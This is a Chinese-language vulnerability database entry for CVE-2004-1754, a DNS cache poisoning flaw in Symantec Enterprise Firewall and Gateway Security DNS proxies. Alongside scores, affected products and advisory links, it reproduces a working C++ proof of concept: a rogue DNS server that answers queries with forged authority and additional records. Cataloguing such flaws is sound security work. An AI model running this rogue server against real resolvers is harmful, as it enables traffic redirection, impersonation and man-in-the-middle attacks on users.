CVE-2004-1754
CVSS5.0
发布时间 :2004-06-15 00:00:00
修订时间 :2008-09-05 16:42:15
NMCOE    

[原文]The DNS proxy (DNSd) for multiple Symantec Gateway Security products allows remote attackers to poison the DNS cache via a malicious DNS server query response that contains authoritative or additional records.


[CNNVD]Symantec Enterprise Firewall DNSD DNS缓存"毒药"漏洞(CNNVD-200406-050)

        
        Symantec Enterprise Firewall是一款企业级防火墙,包含DNSD代理。
        Symantec企业级防火墙的DNSD实现存在问题,远程攻击者可以利用这个漏洞进行中间人,伪造站点或其他各种攻击。
        主要问题是Dnsd代理没有进行正确检查,确保从远程DNS服务器返回的数据包含请求记录相关的数据,攻击者可以控制DNS服务器,返回恶意应答,而导致在目标系统中插入伪造的DNS条目,从而攻击者可以进行类似中间人攻击/拒绝服务/社会工程等攻击。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/h:symantec:gateway_security:5300_1.0
cpe:/a:symantec:enterprise_firewall:8.0::solaris
cpe:/h:symantec:gateway_security:5110_1.0
cpe:/a:symantec:enterprise_firewall:7.0.4::solaris
cpe:/h:symantec:gateway_security:5400_2.0.1
cpe:/h:symantec:gateway_security:5310_1.0
cpe:/h:symantec:gateway_security:5400_2.0
cpe:/a:symantec:enterprise_firewall:7.0.4::windows_2000_nt
cpe:/a:symantec:enterprise_firewall:8.0::windows_2000_nt
cpe:/h:symantec:gateway_security:5200_1.0
cpe:/a:symantec:enterprise_firewall:8.0Symantec Enterprise Firewall 8.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1754
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1754
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200406-050
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/10557
(VENDOR_ADVISORY)  BID  10557
http://securityresponse.symantec.com/avcenter/security/Content/2004.06.21.html
(VENDOR_ADVISORY)  CONFIRM  http://securityresponse.symantec.com/avcenter/security/Content/2004.06.21.html
http://secunia.com/advisories/11888
(VENDOR_ADVISORY)  SECUNIA  11888
http://lists.virus.org/bugtraq-0406/msg00234.html
(VENDOR_ADVISORY)  BUGTRAQ  20040615 Symantec Enterprise Firewall DNSD cache poisoning Vulnerability

- 漏洞信息

Symantec Enterprise Firewall DNSD DNS缓存"毒药"漏洞
中危 其他
2004-06-15 00:00:00 2005-10-20 00:00:00
远程  
        
        Symantec Enterprise Firewall是一款企业级防火墙,包含DNSD代理。
        Symantec企业级防火墙的DNSD实现存在问题,远程攻击者可以利用这个漏洞进行中间人,伪造站点或其他各种攻击。
        主要问题是Dnsd代理没有进行正确检查,确保从远程DNS服务器返回的数据包含请求记录相关的数据,攻击者可以控制DNS服务器,返回恶意应答,而导致在目标系统中插入伪造的DNS条目,从而攻击者可以进行类似中间人攻击/拒绝服务/社会工程等攻击。
        

- 公告与补丁

        厂商补丁:
        Symantec
        --------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://enterprisesecurity.symantec.com/products/products.cfm?ProductID=47

- 漏洞信息 (24218)

Symantec Enterprise Firewall 7.0/8.0 DNSD DNS Cache Poisoning Vulnerability (EDBID:24218)
windows remote
2004-06-15 Verified
0 fryxar
N/A [点击下载]
source: http://www.securityfocus.com/bid/10557/info

It is reported that dnsd is prone to a cache poisoning vulnerability.

Dnsd does not ensure that the data returned from a remote DNS server contains related information about the requested records.

An attacker could exploit this vulnerability to deny service to legitimate users by redirecting traffic to inappropriate hosts. Man-in-the-middle attacks, impersonation of sites, and other attacks may be possible.

// PoC poisoning cache attack SEF 8 and later (by fryxar)
// Requires poslib 1.0.4 library
// Compile: g++ `poslib-config --libs --cflags --server` poc.cpp -o poc

#define POS_DEFAULTLOG
#define POS_DEFAULTLOG_STDERR
#define POS_DEFAULTLOG_SYSLOG

// Server include file
#include <poslib/server/server.h>

// For signal handling
#include <stdlib.h>
#include <signal.h>

char *dyndomain;

DnsMessage *my_handle_query(pending_query *query);

void cleanup(int sig) {
 // close down the server system
 pos_setquitflag();
}

int main(int argc, char **argv) {
_addr a;

 try {
   /* get command-line arguments */
   if (argc != 2 ) {
     printf( "Usage: %s [domainname]\n", argv[0] );
     return 1;
   } else {
     dyndomain = argv[1];
     txt_to_addr(&a, "any");
   }

   poslib_config_init();

   /* bring up posadis */
   servers.push_front(ServerSocket(ss_udp, udpcreateserver(&a)));

   // use the posadis logging system
   pos_log(context_none, log_info, "Proof of concept DNS server starting up...");

   // set signal handlers
   signal(SIGINT, cleanup);
   signal(SIGTERM, cleanup);

   // set query function
   handle_query = my_handle_query;

   // run server
   posserver_run();
 } catch (PException p) {
   printf("Fatal exception: %s\n", p.message);
   return 1;
 }

 return 0;
}

/* the entry function which will handle all queries */
DnsMessage *my_handle_query(pending_query *query) {
 DnsMessage *a = new DnsMessage();
 DnsQuestion q;
 DnsRR rr;

 /* set a as an answer to the query */
 a->ID = query->message->ID;
 a->RD = query->message->RD;
 a->RA = false;

 if (query->message->questions.begin() == query->message->questions.end()) {
   /* query did not contain question */
   a->RCODE = RCODE_QUERYERR;
   return a;
 }
 q = *query->message->questions.begin();
 a->questions.push_back(q);
 a->QR = true;

 pos_log(context_server, log_info, "Query: [%s,%s]", q.QNAME.tocstr(), str_qtype(q.QTYPE).c_str());

 if (q.QTYPE == DNS_TYPE_A && q.QNAME == dyndomain) {
   rr = DnsRR(dyndomain, DNS_TYPE_A, CLASS_IN, 3600);
   string data = rr_fromstring(DNS_TYPE_A, "200.200.200.200"); // Anything...
   rr.RDLENGTH = data.size();
   rr.RDATA = (char *)memdup(data.c_str(), data.size());
   a->answers.push_back(rr);

   rr = DnsRR("org", DNS_TYPE_NS, CLASS_IN, 3600);
   data = rr_fromstring(DNS_TYPE_NS, "fakedns.com");
   rr.RDLENGTH = data.size();
   rr.RDATA = (char *)memdup(data.c_str(), data.size());
   a->authority.push_back(rr);

   rr = DnsRR("fakedns.com", DNS_TYPE_A, CLASS_IN, 3600);
   data = rr_fromstring(DNS_TYPE_A, "200.200.200.201"); // Anything...
   rr.RDLENGTH = data.size();
   rr.RDATA = (char *)memdup(data.c_str(), data.size());
   a->additional.push_back(rr);
 } else {
   /* we don't want this */
   a->RCODE = RCODE_SRVFAIL;
 }
 return a;
}
#########################################################
# End poc.cpp
#########################################################		

- 漏洞信息

7126
Symantec Gateway Security Products DNS Cache Poisoning
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

Symantec Gateway security products contain a flaw that may allow a malicious user to insert false DNS records. The issue is triggered when incorrect records are inserted into the DNS cache, because the server will accept responses not related to the initial query from any authoritative DNS server it queries. It is possible that the flaw may allow DNS record spoofing resulting in a loss of integrity.

- 时间线

2004-06-15 Unknow
2004-06-15 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Symantec has released patches to address this vulnerability.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站